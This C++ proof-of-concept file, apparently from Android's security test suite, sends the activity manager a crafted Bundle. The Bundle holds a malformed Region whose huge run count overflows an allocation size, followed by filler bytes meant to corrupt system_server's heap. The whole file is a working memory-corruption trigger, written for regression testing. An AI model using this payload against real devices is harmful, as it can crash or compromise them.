/** * Copyright (C) 2018 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include #include #include #include #include using namespace android; typedef enum TRANTYPE { HEAPSPRAY, HEAPCORRUPT, HEAPFENGSHUI } TRANTYPE; static void writeParcelableHead(Parcel *pData, const char *class_name) { // write key static int count = 1; const int VAL_PARCELABLE = 4; char buffer[16] = {0}; snprintf(buffer, 16, "%d", count); pData->writeString16(String16((const char *)buffer)); pData->writeInt32(VAL_PARCELABLE); pData->writeString16(String16(class_name)); } void writeRegion(Parcel *pData) { pData->writeInt32(100); // length of region; pData->writeInt32( 0x3fffffff); // runCount, the allocted size will be 0x3fffffff*4+16=0xc pData->writeInt32(0xf); // fBounds pData->writeInt32(0xf); // YSpanCount pData->writeInt32(0xf); // IntervalCount char buffer[100]; memset(buffer, 0xcc, sizeof(buffer)); // this buffer will be used to corrrupt the heap pData->write(buffer, sizeof(buffer)); } static void writeBundle(Parcel *pData, int type) { size_t lengthPos = pData->dataPosition(); pData->writeInt32(0xfffff); const int BUNDLE_MAGIC = 0x4C444E42; pData->writeInt32(BUNDLE_MAGIC); size_t startPos = pData->dataPosition(); if (type == HEAPCORRUPT) { pData->writeInt32(1); // from writeArrayMapInternal,object numbers in bundle writeParcelableHead(pData, "android.graphics.Region"); writeRegion(pData); } else { // other than HEAPCORRUPT exit(0); } size_t endPos = pData->dataPosition(); // Backpatch length pData->setDataPosition(lengthPos); int length = endPos - startPos; pData->writeInt32(length); pData->setDataPosition(endPos); } static void transact(sp &service, TRANTYPE type) { const int CONVERT_TO_TRANSLUCENT_TRANSACTION = 175; Parcel data, reply; data.writeInterfaceToken(String16("android.app.IActivityManager")); data.writeStrongBinder(service); data.writeInt32(333); writeBundle(&data, type); service->transact(CONVERT_TO_TRANSLUCENT_TRANSACTION, data, &reply); } int main(__attribute__((unused)) int argc, __attribute__((unused)) char *const argv[]) { sp sm = defaultServiceManager(); sp service = sm->checkService(String16("activity")); if (service != NULL) { printf("heap corruption\n"); transact(service, HEAPCORRUPT); } else { printf("get activitymanger failed\n"); } return 0; }